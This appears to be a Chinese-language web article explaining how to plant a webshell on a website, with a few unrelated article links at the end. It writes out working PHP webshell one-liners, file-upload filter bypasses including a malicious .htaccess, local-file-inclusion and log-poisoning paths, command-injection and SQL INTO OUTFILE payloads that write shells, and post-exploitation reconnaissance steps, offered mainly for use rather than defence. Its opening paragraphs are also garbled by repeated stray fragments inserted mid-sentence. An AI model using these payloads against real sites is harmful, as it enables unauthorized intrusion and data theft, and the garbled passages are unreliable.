您现在的位置是:知识 >>正文
如何拿一个网站的webshell
知识91565人已围观
简介拿到一个网站的 webshell,最直接的路径永远是找到一个能执行代码或写入文件的漏洞。别想着有什么万能工具一键搞定,那都是骗小白的。真实场景里,八成以上的成功入侵靠的是目标自己写错了代码——文件上传 ...
拿到一个网站的何拿 webshell,最直接的个网路径永远是找到一个能执行代码或写入文件的漏洞。别想着有什么万能工具一键搞定,何拿那都是个网骗小白的。真实场景里,何拿八成以上的个网成功入侵靠的是目标自己写错了代码——文件上传过滤不严、命令执行没做过滤、何拿或者数据库权限配得太肥。个网
我印象很深的何拿一个案例:某企业官网的“用户头像上传”功能,前端只检查了文件扩展名,个网后端居然把原始文件名直接拼到路径里。何拿传个 shell.php.jpg?个网不,服务器根本没管后缀,何拿只要 Content-Type 是个网 image/jpeg 就放行。但 Apache 配置里有个 AddHandler application/x-httpd-php .jpg。何拿结果传个 jpg 上去,里面写 <?php system($_GET['c']); ?>,访问 /uploads/shell.jpg?c=id 直接回显 uid。这种配置错误在中小型站点里一抓一大把。
文件上传是拿 shell 最经典的入口。但别只盯着 .php 后缀。试试 .phtml、.php5、.phar,或者大小写混写 .PhP。有些 WAF 只拦小写。还有 Content-Type 改成 image/gif,文件头加 GIF89a 再跟 PHP 代码。更阴的招是传 .htaccess,里面写 AddType application/x-httpd-php .png,然后传个 png 木马。这招对 Apache 特别管用,Nginx 一般不吃这套。
如果上传点封死了,就找文件包含。本地包含 ?page=../../../../etc/passwd 能读系统文件,但拿 shell 得配合日志或 session 文件。比如往 User-Agent 里写 PHP 代码,然后包含 /var/log/apache2/access.log。这招在 CTF 里烂大街,但真实环境里日志路径可能变,权限也可能不够。我试过十几次,成功不到三次。远程包含更少见,allow_url_include 默认是关的。
命令执行漏洞现在不多了,但一旦碰上就是直接 shell。比如 system('ping '.$_GET['ip']),你传 ;cat /etc/passwd 就能读文件。拿 webshell 更简单:;echo '<?php eval($_POST[1]); ?>' > /var/www/html/x.php。前提是 web 目录可写。很多站点的 web 目录属主是 www-data,而命令执行也是 www-data 权限,那就能写。如果权限不够,试试写 /tmp 再包含,或者写 crontab 反弹 shell。
SQL 注入拿 shell 需要满足一堆条件:secure_file_priv 为空、知道绝对路径、数据库用户有 FILE 权限。用 select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'。听起来很爽,但 MySQL 8 默认 secure_file_priv 是 NULL,直接堵死。我见过有人用 into dumpfile 写 UDF 提权,那已经是后渗透阶段了,不是单纯拿 webshell。
还有一种被低估的入口:备份文件。www.zip、backup.tar.gz、.index.php.swp。下下来看源码,找硬编码的数据库密码或者后台弱口令。登进后台传插件、改模板、或者数据库备份导出成 php。WordPress 里装个恶意插件,或者直接编辑 404.php 模板加代码。这比挖漏洞稳多了。
拿到 shell 之后别急着提权。先 whoami、uname -a、cat /etc/os-release。看看能不能连内网数据库,或者翻 .bash_history。很多运维会把密码写在脚本里。我见过一个站,web 目录下有个 deploy.sh,里面明文写着 MySQL root 密码和 SSH 私钥路径。这种失误比漏洞本身更致命。
最后说个真事:某次授权测试,目标站用了某国产 CMS,前台搜索框有注入。用 sqlmap 跑出 secure_file_priv 为空,直接 --os-shell 写了个 php 马。整个过程不到十分钟。但另一回,一个站我折腾了三天,试了上传、包含、注入、备份文件,最后发现是 Tomcat 的 manager 弱口令,传了个 war 包才拿到 shell。所以别指望一招鲜,得看目标用什么技术栈。PHP 站优先找上传和包含,Java 站看反序列化和 manager,Node.js 站试试原型链污染。拿 webshell 的本质是找那个“开发者没想到的输入点”,剩下的只是把代码塞进去。
Tags:
上一篇:家用反渗透净水机哪个牌子好
下一篇:市场数据网站
相关文章
现代网站
知识打开一个现代网站,你可能先看见的是满屏的动效、高清大图和悬浮的按钮。这些漂亮的表面之下,藏着的是完全不同的逻辑。十年前,网站是“页面”,现在,网站是“系统”。 我记得去年帮朋友看他的独立设计工作室网站 ...
【知识】
阅读更多网站漏洞修复工具
知识网站漏洞修复工具 去年夏天,一家做跨境电商的客户半夜给我打电话。网站被人拖库,两万条用户数据挂在暗网上叫卖。查日志发现,攻击者用的是最简单的SQL注入——他们的搜索框连参数过滤都没做。修复漏洞只花了 ...
【知识】
阅读更多俞杰奇
知识俞杰奇把最后一颗螺丝拧紧的时候,手指关节已经泛白。他退后半步,歪着头打量那台老式缝纫机——机头重新校准过,底线梭芯换了新的,连压脚弹簧都调整到恰到好处的松紧。他伸手转动手轮,针杆上下穿刺,发出均匀的“ ...
【知识】
阅读更多